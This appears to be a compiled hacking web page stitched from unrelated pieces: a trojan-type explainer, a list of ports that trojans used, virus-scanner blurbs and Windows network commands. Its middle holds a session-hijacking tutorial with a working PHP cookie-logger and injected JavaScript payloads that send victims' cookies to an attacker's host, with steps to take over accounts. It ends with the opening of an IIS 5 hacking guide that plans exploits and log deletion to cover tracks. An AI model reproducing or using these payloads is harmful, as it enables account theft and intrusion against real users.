Trojan- Trojan horses

The most important difference between a trojan virus/trojan horse and a virus is that trojans don’t spread themselves. Trojan horses disguise themselves as valuable and useful software available for download on the internet. Most people are fooled by this ploy and end up dowloading the virus disguised as some other application. The name comes from the mythical "Trojan Horse" that the Ancient Greeks set upon the city of Troy.

A trojan horse is typically separated into two parts – a server and a client. It’s the client that is cleverly disguised as significant software and positioned in peer-to-peer file sharing networks, or unauthorized download websites. Once the client Trojan executes on your computer, the attacker, i.e. the person running the server, has a high level of control over your computer, which can lead to destructive effects depending on the attacker’s purpose.

A trojan horse virus can spread in a number of ways. The most common means of infection is through email attachments. The developer of the virus usually uses various spamming techniques in order to distribute the virus to unsuspecting users. Another method used by malware developers to spread their trojan horse viruses is via chat software such as Yahoo Messenger and Skype. Another method used by this virus in order to infect other machines is through sending copies of itself to the people in the address book of a user whose computer has already been infected by the virus.

Types of Trojan Horse Viruses

Trojan Horses have developed to a remarkable level of cleverness, which makes each one radically different from each other. For an inclusive understanding, we have classified them into the following:

Remote Access Trojans

Remote Access Trojans are the most frequently available trojans. These give an attacker absolute control over the victim’s computers. The attacker can go through the files and access any personal information about the user that may be stored in the files, such as credit card numbers, passwords, and vital financial documents.

Password Sending Trojans

The intention of a Password Sending Trojan is to copy all the cached passwords and look for other passwords as you key them into your computer, and send them to particular email addresses. These actions are performed without the awareness of the users. Passwords for restricted websites, messaging services, FTP services and email services come under direct threat with this kind of trojan.

Key Loggers

Key Loggers type of Trojans logs victims’ keystrokes and then send the log files to the attacker. It then searches for passwords or other sensitive data in the log files. Most of the Key Loggers come with two functions, such as online and offline recording. Of course, they can be configured to send the log file to a specific email address on a daily basis.

Destructive Trojans

The only purpose of Destructive Trojans is to destroy and delete files from the victims’ computers. They can automatically delete all the core system files of the computer. The destructive trojan could be controlled by the attacker or could be programmed to strike like a logic bomb, starting on a particular day or at specific time.

Denial of Service (DoS) Attack Trojans

The core design intention behind Denial of Service (DoS) Attack Trojan is to produce a lot of internet traffic on the victim’s computer or server, to the point that the Internet connection becomes too congested to let anyone visit a website or download something. An additional variation of DoS Trojan is the Mail-Bomb Trojan, whose key plan is to infect as many computers as possible, concurrently attacking numerous email addresses with haphazard subjects and contents that cannot be filtered.

Proxy/Wingate Trojans

Proxy/Wingate Trojans convert the victim’s computer into a Proxy/Wingate server. That way, the infected computer is accessible to the entire globe to be used for anonymous access to a variety of unsafe Internet services. The attacker can register domains or access pornographic websites with stolen credit cards or do related illegal activities without being traced.

FTP Trojans

FTP Trojans are possibly the most simple, and are outdated. The only action they perform is, open a port numbered 21 – the port for FTP transfers – and let anyone connect to your computer via FTP protocol. Advance versions are password-protected, so only the attacker can connect to your computer.

Software Detection Killers

Software Detection Killers kill popular antivirus/firewall programs that guard your computer to give the attacker access to the victim’s machine.

Note: A Trojan could have any one or a combination of the above mentioned functionalities.

The best way to prevent a Trojan Horse Virus from entering and infecting your computer is to never open email attachments or files that have been sent by unknown senders. However, not all files we can receive are guaranteed to be virus-free. With this, a good way of protecting your PC against malicious programs such as this harmful application is to install and update an antivirus program.

Trojan Port 

• TCP 1 Breach.2001, SocketsDeTroie.230, SocketsDeTroie.250
• TCP 28 Amanda.200
• TCP 31 MastersParadise.920
• TCP 68 Subseven.100
• TCP 142 NetTaxi.180
• TCP 146 Infector.141, Intruder.100, Intruder.100
• TCP 171 ATrojan.200
• TCP 285 WCTrojan.100
• TCP 286 WCTrojan.100
• TCP 334 Backage.310
• TCP 370 NeuroticKat.120, NeuroticKat.130
• TCP 413 Coma.109
• TCP 420 Breach.450
• TCP 555 Id2001.100, PhaseZero.100, StealthSpy.100
• TCP 623 Rtb666.160
• TCP 660 Zaratustra.100
• TCP 661 Noknok.800, Noknok.820
• TCP 666 BackConstruction.210, BackConstruction.250, Bla.100, Bla.200, Bla.400, Bla.503, Cain.150, Dimbus.100, Noknok.820, Ripper.100, SatansBackdoor.100, SatansBackdoor.101, SatansBackdoor.102, Unicorn.100, Unicorn.101, Unicorn.110
• TCP 667 SniperNet.210, Snipernet.220
• TCP 668 Unicorn.101, Unicorn.110
• TCP 680 Rtb666.160
• TCP 777 Tiny.100, Undetected.230, Undetected.300, Undetected.310, Undetected.320, Undetected.330, Undetected.331, Undetected.332
• TCP 785 NetworkTerrorist.100
• TCP 800 NeuroticKitten.010
• TCP 831 NeuroticKat.100, NeuroticKat.120, NeuroticKat.130
• TCP 901 NetDevil.130, NetDevil.140
• TCP 1000 DerSpaeher.200
• TCP 1001 Silencer.100
• TCP 1008 AutoSpy.100
• TCP 1010 DerSpaeher.200
• TCP 1015 Doly.150
• TCP 1111 TPort.100
• TCP 1130 Noknok.800, Noknok.820
• TCP 1207 SoftWAR.100
• TCP 1243 Subseven.100, SubSeven.110, SubSeven.180, SubSeven.190, Subseven.200
• TCP 1245 VoodooDoll.006
• TCP 1269 Matrix.130
• TCP 1480 RemoteHack.130
• TCP 1568 RemoteHack.100, RemoteHack.110
• TCP 1600 DirectConnection.100
• TCP 1601 DirectConnection.100
• TCP 1602 DirectConnection.100
• TCP 1634 NetCrack.100
• TCP 1784 Snid.120, Snid.212
• TCP 1999 TransmissionScout.100, TransmissionScout.110
• TCP 2000 ATrojan.200, InsaneNetwork.400
• TCP 2001 DIRT.220, TrojanCow.100
• TCP 2003 TransmissionScout.100, TransmissionScout.110
• TCP 2023 RipperPro.100
• TCP 2040 InfernoUploader.100
• TCP 2115 Bugs.100
• TCP 2140 DeepThroat.100, DeepThroat.200, DeepThroat.310
• TCP 2332 SilentSpy.202
• TCP 2589 Dagger.140
• TCP 2600 DigitalRootbeer.100
• TCP 2989 Rat.200
• TCP 3128 MastersParadise.970
• TCP 3129 MastersParadise.920, MastersParadise.970
• TCP 3150 DeepThroat.100, DeepThroat.200, DeepThroat.310, MiniBacklash.110
• TCP 3215 BlackStar.100, Ghost.230
• TCP 3333 Daodan.123
• TCP 3410 OptixPro.100, OptixPro.110
• TCP 3456 Force.155, TerrorTrojan.100
• TCP 3505 AutoSpy.130, AutoSpy.140
• TCP 3586 Snid.120, Snid.212
• TCP 3700 PortalOfDoom.100
• TCP 3723 Mantis.100
• TCP 3800 Eclypse.100
• TCP 3996 RemoteAnything.364
• TCP 4000 SkyDance.220, SkyDance.229
• TCP 4201 Wartrojan.160, Wartrojan.200
• TCP 4225 SilentSpy.202
• TCP 4321 Bobo.100
• TCP 4444 AlexTrojan.200, Crackdown.100
• TCP 4488 EventHorizon.100
• TCP 4523 Celine.100
• TCP 4545 InternalRevise.100, RemoteRevise.150
• TCP 4567 FileNail.100
• TCP 4666 Mneah.100
• TCP 4950 ICQTrojan.100
• TCP 5005 Aladino.060
• TCP 5025 Keylogger.WMRemote.100
• TCP 5031 NetMetro.104
• TCP 5032 NetMetro.104
• TCP 5033 NetMetro.104
• TCP 5050 RoxRat.100
• TCP 5151 OptixLite.020, OptixLite.030, OptixLite.040
• TCP 5190 MBomber.100
• TCP 5277 WinShell.400
• TCP 5343 WCRat.100
• TCP 5400 BackConstruction.120, BackConstruction.150, BladeRunner.080, DeepThroat.300
• TCP 5401 BackConstruction.120, BackConstruction.150, BackConstruction.210, BackConstruction.250, BladeRunner.080, DeepThroat.300, Mneah.100
• TCP 5402 BackConstruction.210, BackConstruction.250, BladeRunner.080, DeepThroat.300, Mneah.100
• TCP 5534 TheFlu.100
• TCP 5550 XTCP.200, XTCP.201
• TCP 5555 Noxcape.100, Noxcape.200
• TCP 5695 Assassin.100
• TCP 5714 WinCrash.100
• TCP 5741 WinCrash.100
• TCP 5742 WinCrash.103
• TCP 5802 Y3KRat.160
• TCP 5810 Y3KRat.160
• TCP 5838 Y3KRat.170
• TCP 5858 Y3KRat.110, Y3KRat.120, Y3KRat.140
• TCP 5880 Y3KRat.140
• TCP 5881 Y3KRat.110, Y3KRat.120, Y3KRat.140
• TCP 5882 Y3KRat.100, Y3KRat.110, Y3KRat.120, Y3KRat.140, Y3KRat.150
• TCP 5883 Y3KRat.110, Y3KRat.140
• TCP 5884 Y3KRat.140, Y3KRat.150
• TCP 5885 Y3KRat.110, Y3KRat.120, Y3KRat.140
• TCP 5886 Y3KRat.120, Y3KRat.140
• TCP 5887 Y3KRat.110, Y3KRat.120, Y3KRat.140
• TCP 5888 Y3KRat.100, Y3KRat.110, Y3KRat.120, Y3KRat.140, Y3KRat.150
• TCP 5889 Y3KRat.100, Y3KRat.110, Y3KRat.120, Y3KRat.140, Y3KRat.150
• TCP 5890 Y3KRat.140
• TCP 6400 Thething.100, Thething.150
• TCP 6556 AutoSpy.120, AutoSpy.122
• TCP 6655 Aqua.020
• TCP 6660 LameSpy.095
• TCP 6666 LameRemote.100, ProjectMayhem.100
• TCP 6669 Vampire.100
• TCP 6670 DeepThroat.200, DeepThroat.210
• TCP 6671 DeepThroat.310
• TCP 6699 HostControl.101
• TCP 6711 DeepThroat.300, Noknok.820, SubSeven.180, SubSeven.190
• TCP 6712 Subseven.100
• TCP 6713 Subseven.100
• TCP 6767 NTRC.120
• TCP 6776 SubSeven.180, SubSeven.190, Subseven.200
• TCP 6789 Doly.200
• TCP 6796 SubSeven.214
• TCP 6912 ShitHeep.100
• TCP 6939 Indoctrination.100
• TCP 6953 Lithium.100
• TCP 6969 2000Cracks.100, Bigorna.100, Danton.110, Danton.210, Danton.220, Danton.310, Danton.320, Danton.330, GateCrasher.110, NetController.108, Sparta.110, VagrNocker.120
• TCP 6970 Danton.330
• TCP 7001 Freak88.100
• TCP 7119 Massaker.100
• TCP 7200 Massaker.110
• TCP 7300 Coced.221
• TCP 7301 Coced.221
• TCP 7306 NetSpy.200, NetSpy.200
• TCP 7410 Phoenix.190, Phoenix.200
• TCP 7511 Genue.100
• TCP 7609 Snid.120, Snid.212
• TCP 7614 Wollf.130
• TCP 7648 BlackStar.100, Ghost.230
• TCP 7788 Last.2000, Matrix.200
• TCP 7826 MiniOblivion.010, Oblivion.010
• TCP 7887 SmallFun.110
• TCP 7891 Revenger.100
• TCP 7979 VagrNocker.200
• TCP 7997 VagrNocker.200
• TCP 8000 XConsole.100
• TCP 8011 Way.240
• TCP 8012 Ptakks.215, Ptakks.217
• TCP 8110 LoseLove.100
• TCP 8111 LoseLove.100
• TCP 8301 LoseLove.100
• TCP 8302 LoseLove.100
• TCP 8372 NetBoy.100
• TCP 8720 Connection.130
• TCP 8734 AutoSpy.110
• TCP 8811 Force.155
• TCP 8899 Last.2000
• TCP 9000 Aristotles.100
• TCP 9301 LoseLove.100
• TCP 9400 InCommand.100, InCommand.110, InCommand.120, InCommand.130, InCommand.140, InCommand.150, InCommand.153, InCommand.160, InCommand.167, InCommand.170
• TCP 9401 InCommand.100, InCommand.110, InCommand.170
• TCP 9402 InCommand.100, InCommand.110
• TCP 9561 CRatPro.110
• TCP 9563 CRatPro.110
• TCP 9580 TheefLE.100
• TCP 9696 Danton.210, Ghost.230
• TCP 9697 Danton.320, Danton.330, Ghost.230
• TCP 9870 R3C.100
• TCP 9872 PortalOfDoom.100
• TCP 9873 PortalOfDoom.100
• TCP 9874 PortalOfDoom.100
• TCP 9875 PortalOfDoom.100
• TCP 9876 Rux.100, SheepGoat.100
• TCP 9877 SmallBigBrother.020
• TCP 9878 SmallBigBrother.020, TransmissionScout.100, TransmissionScout.110, TransmissionScout.120
• TCP 9879 SmallBigBrother.020
• TCP 9999 ForcedEntry.100, Infra.100, Prayer.120, Prayer.130, TakeOver.200, TakeOver.300
• TCP 10001 DTr.130, DTr.140
• TCP 10013 Amanda.200
• TCP 10067 PortalOfDoom.100
• TCP 10100 Gift.240
• TCP 10101 NewSilencer.100
• TCP 10167 PortalOfDoom.100
• TCP 10528 HostControl.100, HostControl.260
• TCP 10607 Coma.109
• TCP 10666 Ambush.100
• TCP 11011 Amanda.200
• TCP 11050 HostControl.101
• TCP 11051 HostControl.100, HostControl.260
• TCP 11223 AntiNuke.100, Progenic.100, Progenic.110
• TCP 11225 Cyn.100, Cyn.103, Cyn.120
• TCP 11306 Noknok.800, Noknok.820
• TCP 11831 Katux.200, Latinus.140, Latinus.150, Pest.100, Pest.400
• TCP 11991 PitfallSurprise.100
• TCP 12043 Frenzy.2000
• TCP 12345 Fade.100, Netbus.160, Netbus.170, VagrNocker.400
• TCP 12346 Netbus.160, Netbus.170
• TCP 12348 Bionet.210, Bionet.261, Bionet.280, Bionet.302, Bionet.305, Bionet.311, Bionet.313, Bionet.316, Bionet.317
• TCP 12349 Bionet.084, Bionet.261, Bionet.280, Bionet.302, Bionet.305, Bionet.311, Bionet.313, Bionet.314, Bionet.316, Bionet.317, Bionet.401, Bionet.402
• TCP 12389 KheSanh.210
• TCP 12478 Bionet.210
• TCP 12623 Buttman.090, Buttman.100
• TCP 12624 Buttman.090, Buttman.100
• TCP 12625 Buttman.100
• TCP 12904 Akropolis.100, Rocks.100
• TCP 13473 Chupacabra.100
• TCP 13753 AFTP.010
• TCP 14100 Eurosol.100
• TCP 14194 CyberSpy.840
• TCP 14286 HellDriver.100
• TCP 14500 PCInvader.050, PCInvader.060, PCInvader.070
• TCP 14501 PCInvader.060, PCInvader.070
• TCP 14502 PCInvader.050, PCInvader.060, PCInvader.070
• TCP 14503 PCInvader.050, PCInvader.060, PCInvader.070
• TCP 14504 PCInvader.050, PCInvader.060
• TCP 15092 HostControl.100, HostControl.260
• TCP 15382 SubZero.100
• TCP 15432 Cyn.210
• TCP 15555 ICMIBC.100
• TCP 16322 LastDoor.100
• TCP 16484 MoSucker.110
• TCP 16661 Dfch.010
• TCP 16969 Progenic.100
• TCP 16982 AcidShiver.100
• TCP 17300 Kuang.200
• TCP 17499 CrazzyNet.370, CrazzyNet.375, CrazzyNet.521
• TCP 17500 CrazzyNet.370, CrazzyNet.375, CrazzyNet.521
• TCP 17569 Infector.141, Infector.160, Infector.170, Infector.180, Infector.190, Infector.200, Intruder.100, Intruder.100
• TCP 17593 AudioDoor.120
• TCP 19191 BlueFire.035, BlueFire.041
• TCP 19604 Metal.270
• TCP 19605 Metal.270
• TCP 19991 Dfch.010
• TCP 20000 Millenium.100
• TCP 20001 Millenium.100, PshychoFiles.180
• TCP 20002 AcidKor.100, PshychoFiles.180
• TCP 20005 MoSucker.200, MoSucker.210, MoSucker.220
• TCP 21212 Schwindler.182
• TCP 21554 Exploiter.100, Exploiter.110, Girlfriend.130, GirlFriend.135
• TCP 21579 Breach.2001
• TCP 21584 Breach.2001
• TCP 21684 Intruse.134
• TCP 22068 AcidShiver.110
• TCP 22115 Cyn.120
• TCP 22222 Prosiak.047, Ruler.141, Rux.300, Rux.400, Rux.500, Rux.600
• TCP 22223 Rux.400, Rux.500, Rux.600
• TCP 22456 Bla.200, Bla.503
• TCP 22457 AcidShiver.120, Bla.200, Bla.503
• TCP 22784 Intruzzo.110
• TCP 22845 Breach.450
• TCP 22847 Breach.450
• TCP 23005 Infinaeon.110, NetTrash.100, Oxon.110, WinRat.100
• TCP 23006 Infinaeon.110, NetTrash.100, Oxon.110, WinRat.100
• TCP 23032 Amanda.200
• TCP 23432 Asylum.010, Asylum.012, Asylum.013, Asylum.014, MiniAsylum.110
• TCP 23456 EvilFTP.100, VagrNocker.400
• TCP 23476 DonaldDick.153, DonaldDick.154, DonaldDick.155
• TCP 23477 DonaldDick.153
• TCP 24000 Infector.170
• TCP 24307 Wildek.020
• TCP 25386 MoonPie.220
• TCP 25486 MoonPie.220
• TCP 25555 FreddyK.100, FreddyK.200
• TCP 25556 FreddyK.100
• TCP 25685 MoonPie.010, MoonPie.012, MoonPie.130, MoonPie.220, MoonPie.240, MoonPie.400
• TCP 25686 MoonPie.135, MoonPie.200, MoonPie.400
• TCP 25982 MoonPie.135, MoonPie.200
• TCP 26274 Delta.050
• TCP 27160 MoonPie.135, MoonPie.200
• TCP 27184 Alvgus.100, Alvgus.800
• TCP 27374 Muerte.110, Subseven.210, SubSeven.213
• TCP 28429 Hack'a'Tack.2000
• TCP 28430 Hack'a'Tack.2000
• TCP 28431 Hack'a'Tack.2000
• TCP 28432 Hack'a'Tack.2000
• TCP 28433 Hack'a'Tack.2000
• TCP 28434 Hack'a'Tack.2000
• TCP 28435 Hack'a'Tack.2000
• TCP 28436 Hack'a'Tack.2000
• TCP 29559 DuckToy.100, DuckToy.101, Katux.200, Latinus.140, Latinus.150, Pest.100, Pest.400
• TCP 29891 Unexplained.100
• TCP 30000 Infector.170
• TCP 30001 Error32.100
• TCP 30003 LamersDeath.100
• TCP 30029 AOLTrojan.110
• TCP 30100 NetSphere.127, NetSphere.130, NetSphere.131
• TCP 30101 NetSphere.127, NetSphere.130, NetSphere.131
• TCP 30102 NetSphere.127, NetSphere.130, NetSphere.131
• TCP 30103 NetSphere.131
• TCP 30947 Intruse.134
• TCP 31320 LittleWitch.400, LittleWitch.420
• TCP 31337 BackOrifice.120, Khaled.100, OPC.200
• TCP 31415 Lithium.101
• TCP 31416 Lithium.100, Lithium.101
• TCP 31557 Xanadu.110
• TCP 31631 CleptoManicos.100
• TCP 31745 Buschtrommel.100, Buschtrommel.122
• TCP 31785 Hack'a'Tack.100, Hack'a'Tack.112
• TCP 31787 Hack'a'Tack.100, Hack'a'Tack.112
• TCP 31789 Hack'a'Tack.100, Hack'a'Tack.112
• TCP 31791 Hack'a'Tack.100, Hack'a'Tack.112
• TCP 31887 BDDT.100
• TCP 31889 BDDT.100
• TCP 32100 ProjectNext.053
• TCP 32418 AcidBattery.100
• TCP 32791 Akropolis.100, Rocks.100
• TCP 33291 RemoteHak.001
• TCP 33333 Blackharaz.100, Prosiak.047, SubSeven.214
• TCP 33577 SonOfPsychward.020
• TCP 34324 TelnetServer.100
• TCP 34763 Infector.180, Infector.190, Infector.200
• TCP 35000 Infector.190, Infector.200
• TCP 35600 Subsari.140
• TCP 36794 BugBear.100
• TCP 37237 Mantis.020
• TCP 37651 YAT.210
• TCP 37653 YAT.310
• TCP 40308 Subsari.140
• TCP 40412 TheSpy.100
• TCP 40421 MastersParadise.970
• TCP 40422 MastersParadise.970
• TCP 40999 DiemsMutter.110, DiemsMutter.140
• TCP 41626 Shah.100
• TCP 44444 Prosiak.070
• TCP 45673 Akropolis.100, Rocks.100
• TCP 47262 Delta.050
• TCP 48006 Fragglerock.200
• TCP 49683 HolzPferd.210
• TCP 50000 Infector.180
• TCP 50130 Enterprise.100
• TCP 50766 Fore.100
• TCP 51234 Cyn.210
• TCP 51966 Cafeini.080, Cafeini.110
• TCP 54321 PCInvader.010
• TCP 57341 NetRaider.100
• TCP 57922 Bionet.084
• TCP 58008 Tron.100
• TCP 58009 Tron.100
• TCP 59090 AcidReign.200
• TCP 59211 DuckToy.100, DuckToy.101
• TCP 59345 NewFuture.100
• TCP 60000 DeepThroat.300, MiniBacklash.100, MiniBacklash.101, MiniBacklash.101
• TCP 60411 Connection.100, Connection.130
• TCP 60412 Connection.130
• TCP 60552 RoxRat.100
• TCP 63536 InsaneNetwork.500
• TCP 63878 AphexFTP.100
• TCP 63879 AphexFTP.100
• TCP 64969 Lithium.100
• TCP 65000 Socket.100
• UDP 1 SocketsDeTroie.250
• UDP 666 Bla.200, Bla.400, Bla.503, Noknok.820
• UDP 1130 Noknok.800, Noknok.820
• UDP 2140 DeepThroat.100, DeepThroat.200, DeepThroat.310
• UDP 2989 Rat.200
• UDP 3128 MastersParadise.970
• UDP 3129 MastersParadise.920, MastersParadise.970
• UDP 3150 DeepThroat.100, DeepThroat.200, DeepThroat.310, MiniBacklash.110
• UDP 3333 Daodan.123
• UDP 3800 Eclypse.100
• UDP 3996 RemoteAnything.364
• UDP 4000 RemoteAnything.364
• UDP 5555 Daodan.123
• UDP 5881 Y3KRat.110, Y3KRat.140
• UDP 5882 Y3KRat.100, Y3KRat.110, Y3KRat.120, Y3KRat.140, Y3KRat.150
• UDP 5883 Y3KRat.110, Y3KRat.140
• UDP 5884 Y3KRat.140, Y3KRat.150
• UDP 5885 Y3KRat.110, Y3KRat.120, Y3KRat.140
• UDP 5886 Y3KRat.120, Y3KRat.140
• UDP 5887 Y3KRat.110, Y3KRat.120, Y3KRat.140
• UDP 5888 Y3KRat.100, Y3KRat.110, Y3KRat.120, Y3KRat.150
• UDP 6953 Lithium.100
• UDP 8012 Ptakks.217
• UDP 10067 PortalOfDoom.100
• UDP 10167 PortalOfDoom.100
• UDP 10666 Ambush.100
• UDP 11225 Cyn.100, Cyn.103, Cyn.120
• UDP 11306 Noknok.800, Noknok.820
• UDP 12389 KheSanh.210
• UDP 12623 Buttman.090, Buttman.100
• UDP 12625 Buttman.100
• UDP 14100 Eurosol.100
• UDP 23476 DonaldDick.155
• UDP 26274 Delta.050
• UDP 27184 Alvgus.100
• UDP 28431 Hack'a'Tack.2000
• UDP 28432 Hack'a'Tack.2000
• UDP 28433 Hack'a'Tack.2000
• UDP 28434 Hack'a'Tack.2000
• UDP 28435 Hack'a'Tack.2000
• UDP 28436 Hack'a'Tack.2000
• UDP 29891 Unexplained.100
• UDP 30103 NetSphere.131
• UDP 31320 LittleWitch.400, LittleWitch.420
• UDP 31337 BackOrifice.120, OPC.200
• UDP 31416 Lithium.100, Lithium.101
• UDP 31789 Hack'a'Tack.100, Hack'a'Tack.112
• UDP 31791 Hack'a'Tack.100, Hack'a'Tack.112
• UDP 33333 Blackharaz.100
• UDP 47262 Delta.050
• UDP 49683 HolzPferd.210
• UDP 60000 MiniBacklash.100

Online Virus Scanners

There are times when you do not want to download anti-virus software. These may include:

• Your computer is too infected or broken to install new software
• You are on someone elses computer and you don't want to install software
• You just need to do a quick check, without the hassle of software installation

The solution for virus scanning at those times is to utilize an online virus scanner.

Note: Most online virus scanners require Internet Explorer with ActiveX enabled.

Trend Micro Housecall

Trend Micro HouseCall thoroughly scans your computer for viruses, spyware, and known security vulnerabilities. This free service is designed to demonstrate the power of Trend Micro technologies in a fast and easy solution.

BitDefender Online Scanner

BitDefender Online Scanner is a fully functional antivirus product. It features all required elements for thorough antivirus scanning and effective cleaning: it scans your system's memory, all files, folders and drives' boot sectors, providing you with the option to automatically clean the infected files.

Freedom Online Virus Check

Freedom Online Virus Check is a free online anti-virus scanner for web users. Freedom Online Virus Check allows you to scan your hard drives, diskettes, CD-ROMs, network drives, directories, and specific files for any hidden viruses, Trojans or worms. Freedom Online Virus Check uses state-of-the-art technology to scan your PC for all types of viruses.

McAfee FreeScan

McAfee FreeScan helps you detect thousands of viruses on your computer. Based on the award-winning McAfee VirusScan engine, FreeScan searches for viruses, including the latest known "in the wild" viruses, and displays a detailed list of any infected files. Should viruses be found, FreeScan even provides links to more information about the viruses and what you can do to clean your system.

Panda Active Scan

• Antivirus - Antivirus detects and eliminates all types of viruses, worms and Trojans.
• Antispyware Deep anti-spyware scan detects spyware that other security suites can

Network Hacking Exposed - Secret Keywords - Command Prompt

Secret Keywords - Command Prompt 

Start-Run and enter “cmd” to open a Command window.

net – Used to start, stop and view networking operations.
ipconfig – Displays the IP Address and other TCP/IP information on your system.
netstat – Returns protocol statistics and current TCP/IP connections.
hostname – Displays the Microsoft networking computer name.
lpq – Displays the print queue status of an LPD printer.
ping – Verify the connectivity or a host across a network.
nbtstat – Returns protocol statistics and current TCP/IP connections.
ipxroute – Displays and modifies IPX routing tables.
route – Manipulates TCP/IP routing information
tracert – Displays route taken by an ICMP to a remote host.
finger – Displays information about the user
arp – Displays or modifies information in the ARP (Address Resolution Protocol) cache
getmac – Lists the MAC (Media Access Control) Address on the computer network interfaces
Add  /? to the command will provide more information e.g. ipconfig show more information about ipconfig command.

Some Applications:

Display Connection Configuration: ipconfig /all
Display DNS Cache Info Configuration: ipconfig /displaydns
Clear DNS Cache: ipconfig /flushdns
Release All IP Address Connections: ipconfig /release
Renew All IP Address Connections: ipconfig /renew
Re-Register the DNS connections: ipconfig /registerdns
Change/Modify DHCP Class ID: ipconfig /setclassid
Network Connections: control netconnections
Network Setup Wizard: netsetup.cpl
Test Connectivity: ping www.tomstricks.com
Trace IP address Route: tracert
Displays the TCP/IP protocol sessions: netstat
Display Local Route: route
Display Resolved MAC Addresses: arp
Display Name of Computer Currently on: hostname
Display DHCP Class Information:ipconfig /showclassid
Notes:

• Some command-line tools require the user to have administrator-level privileges on source and/or target computers.
• You must have the TCP/IP network protocol installed to use the TCP/IP utilities.

PHP SESSION HIJACKING TUTORIAL

Session hijacking is the process of exploiting valid computer session which involves stealing the victim's cookie.so now,let's understand the below.

What is a cookie?

A cookie known as a web cookie or http cookie is a small piece of text stored by the user browser.A cookie is sent as an header by the web server to the web browser on the client side.A cookie is static and is sent back by the browser unchanged everytime it accesses the server.
A cookie has a expiration time that is set by the server and are deleted automatically after the expiration time.
Cookie is used to maintain users authentication and to implement shopping cart during his navigation,possibly across multiple visits.

What can we do after stealing cookie?

Well,as we know web sites authenticate their user's with a cookie,it can be used to hijack the victims session.The victims stolen cookie can be replaced with our cookie to hijack his session.

The following is a cookie stealing script which is to be stored in attacker's host.It recieves the cookie data and stores to a text file.

PHP Code:
<?php

function GetIP()
{
if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))
$ip = getenv("HTTP_CLIENT_IP");
else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))
$ip = getenv("HTTP_X_FORWARDED_FOR");
else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown"))
$ip = getenv("REMOTE_ADDR");
else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown"))
$ip = $_SERVER['REMOTE_ADDR'];
else
$ip = "unknown";
return($ip);
}

function logData()
{
$ipLog="log.txt";
$cookie = $_SERVER['QUERY_STRING'];
$register_globals = (bool) ini_get('register_gobals');
if ($register_globals) $ip = getenv('REMOTE_ADDR');
else $ip = GetIP();

$rem_port = $_SERVER['REMOTE_PORT'];
$user_agent = $_SERVER['HTTP_USER_AGENT'];
$rqst_method = $_SERVER['METHOD'];
$rem_host = $_SERVER['REMOTE_HOST'];
$referer = $_SERVER['HTTP_REFERER'];
$date=date ("l dS of F Y h:i:s A");
$log=fopen("$ipLog", "a+");

if (preg_match("/\bhtm\b/i", $ipLog) || preg_match("/\bhtml\b/i", $ipLog))
fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE{ : } $date | COOKIE: $cookie
");
else
fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE: $date | COOKIE: $cookie \n\n");
fclose($log);
}

logData();

?>

Save the script as a cookielogger.php in your server.(Any free web hosting sites like justfree,x10hosting etc..)
Also create an empty text file and name it as log.txt and upload it.

Now we come to the hardest part where we have to inject a piece of javascript into sites html page,which the victims has to visit.We should now look for a place to post the javascript.

Look for user interactive sites which contain comments or forums.

Post the following code which invokes or activates the cookielogger on your host.

Code:
<script language="Java script">
document.location="http://www.yourhost.com/cookielogger.php?cookie=&quot; + document.cookie;
</script>

Your can also trick the victim into clicking a link that activates javascript.
Below is the code which has to be posted.

Code:
<a href="java script:document.location='http://www.yourhost.com/cookielogger.php?cookie='+document.cookie;">Click here!</a>

Clicking an image also can activate the script.For this purpose you can use the below code.

Code:
<a href="java script:document.location='http://www.yourhost.com/cookielogger.php?cookie='+document.cookie;"&gt;

<img src="URL OF THE IMAGE"/></a>

All the details like cookie,ipaddress,browser of the victim are logged in to log.txt in your host.

In the above codes please remove the space in between javascript.

Hijacking the Session:

Now we have cookie,what to do with this..?
Download cookie editor mozilla plugin.

Go to the target site-->open cookie editor-->Replace the cookie with the stolen cookie of the victim and refresh the page.Thats it!!!you should now be in his account.
Download cookie editor mozilla plugin from here : https://addons.mozilla.org/en-US/firefox/addon/573

How to trace email sender

The author shows how to identify the IP address of a email. He shows how to check the 'Show Original' options in Gmail and in that content how to identify where the email came from and exactly its IP address. Now we can take that IP address and go to any of the many IP lookup websites and trace the original geographical location of that IP address. By following the steps in this tutorial you can easily trace out the origination IP address of an email from which you can extract a lot of useful information.

How to trace any IP address

You can learn how to trace any IP address or website with this simple instructional video. Kipkay is one of the top earners on Metacafe, and he specializes in nerdy but cool how to's. Watch this video tutorial and learn how to find out the owner of an IP address.

Hacking IIS 5.0: The Complete Guide

The Step By Step IIS 4 Hack

This is not a article for a script kiddie. It's a little late but still applicable today, very applicable. This article is intended to be a robust guide for hacking, and administering IIS 5 servers. So without further adeu The Ultimate IIS Guide.


Outline:
I. Introduction
II. Information Gathering
A. Enumeration
B. Identify the directory structure
C. Is it patched or not?
III. Exploits
A. Double Decode(Superflous)
B. IDQ Buffer Overflow
C. Source Code Disclosure Exploits
1. Historical Importance
2. Impact
3. New Source Code Disclosure Vulnerabilities
D. WebDav Exlploit
IV. Covering your Tracks
A. Where are the Logfiles?
B. Why can't I delete them now!
C. How I will delete them later.

Foreword

Know your stuff! Remember by default all actions of yours are logged on IIS 5 and the FTP server, not sure about the smtp server but who cares, you can't use VRFY anyway!

Let's say you are hacking a web server, and you know it is IIS 5. If the IIS Server is running it has a virtual root. By default the virtual root is
                     c:\inetpub\wwwroot\. 
So if you send the request

              GET /frick.html HTTP/1.0


It checks c:\inetpub\wwwroot\ to see if it has a file named frick.html if it does it sends it. Now if you request the default document by way of

                    GET / HTTP/1.0

It then looks for the default document. Which if left unchanged is c:\inetpub\wwwroot\iisstart.asp. You must manually change the default document to whatever you wish using the IIS Configuration Dialog. If the
pages default.asp or default.htm exist it will serve them instead. If both exist it will serve default.asp. This is the default precedence of the sample pages.

The first things you should check for while gathering info about the server is if the administrator has preserved the default directory structure and such. A virtual directory is a directory that can be accessed by IIS without
the directory actually being in the virtual root. Virtual Directories that you should check for first are:


